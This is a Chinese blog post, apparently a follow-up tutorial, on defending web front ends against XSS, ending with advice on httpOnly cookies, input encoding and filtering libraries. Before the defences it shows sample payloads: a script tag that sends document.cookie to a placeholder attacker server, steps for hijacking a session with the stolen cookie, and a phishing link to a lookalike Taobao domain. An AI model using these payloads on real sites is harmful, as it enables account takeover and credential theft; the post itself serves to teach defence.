美文网首页
喂?麻麻你不用来了,没有打到

喂?麻麻你不用来了,没有打到

作者: leeleeleelalala | 来源:发表于2020-02-09 20:56 被阅读0次

    前言:上篇说了XSS攻击的类型和原理,这篇文章来写写怎么防御。
    接上篇:https://www.jianshu.com/p/73e563abe0dc

    呱唧呱唧

    说到该如何防御,首先我们要先明白一件事情,不是所有的用户都是上帝,偶尔也会混进来那么几只魔鬼;不是所有的同事都是神助攻,现实往往会分给你一些猪队友。(当然我的队友个个都是玉树临风机智明锐学富五万亿车的神助攻哈,至于我一般都是比较负责任的自己坑自己),为了保证安全,所有人都是值得怀疑的。用户可能在你的表单里面输入恶意脚本;而服务器端的队友可能没有对用户的提交的信息做检查导致前端在处理从后台获得的数据的时候被攻击,当然这也不能完全怪队友,毕竟你拿到用户提交的一手数据的时候也没有做过滤就提交到服务器(当然这种事情我们一般心知肚明视而不见,然后立场坚定的优雅甩锅😊,开个玩笑,这是不对的)。

    XSS payload

    达到攻击目的的脚本一般被称为XSS payload,一般用来做这些事情。

    1、窃取用户的cookie

    例如:

    <script>$.ajax({type:"GET",url:"xss服务器的url",dataType: "json",data:{cookie:document.cookie},success: function () {},error : function(){}});</script>
    

    攻击思路
    如我们在某商品商城的某商品评论里面提交上述脚本,我们就可以拿到所有浏览过我们评论的登录用户的cookie,然后我们打开该商城,在控制台通过document.cookie="sessionId=你拿到的cookie"去设置cookie,然后就可以假冒别人的身份在这个网站干坏事啦。天啦噜!好怕怕。

    2、信息收集

    例如:

    <script>navigator.userAgent</script>
    

    攻击思路
    收集用户浏览器信息,根据收集到的信息进行目标攻击。

    3、伪造GET/POST请求

    例如:
    就不例如了好么,太长了,我有一点懒。
    攻击思路
    拿到其他用户cookie之后,可以利用该cookie伪造一个对应网站的请求发送到服务器,目标url,其他请求头信息可以打开浏览器开发工具里面的network拿到,再在请求头里面加上sessionId=目标cookie,这样就可以伪造一个以其他用户身份发送的请求了。

    4、XSS钓鱼,通过XSS向网页上注入钓鱼链接,让用户访问假冒的网站

    例如:
    <a href="www.taobao.com.fakelogin.com">纪梵希一元抢</a>
    攻击思路
    有些商品页或者论坛的评论区啥的可以看到如上这种链接,打开之后是假的淘宝登录页面(但是域名看起来是淘宝的域名),用户一脸天真的抱着捡便宜的心态输入你的淘宝的用户名密码的时候,就是他淘宝的账号密码被泄露的时候。

    防御方法

    1、服务器端设置把cookie为httpOnly,不过自己也就拿不到cookie了
    2、前端过滤用户输入(危险字符如script标签给他正则替换过滤掉;html编码js编码URL编码给他编一波;特定数据类型的输入框做一波格式校验比如邮箱电话号码那种),这些你可以自己写,但是还是推荐使用插件(https://github.com/leizongmin/js-xss),简单也全面
    3、服务器端写过滤器过滤一波。

    总结

    永远不相信用户输入,前端对用户输入的内容XSS过滤处理之后再使用
    永远不相信队友输入,服务端拿到数据后再次对数据XSS过滤,且最好把cookie设置为httpOnly,前端拿到服务传过来的数据后,使用时进行XSS过滤。
    啊,这个虚伪的世界,写个代码跟演无间道似的。

    相关文章

      网友评论

          本文标题:喂?麻麻你不用来了,没有打到

          本文链接:https://www.haomeiwen.com/subject/bmknxhtx.html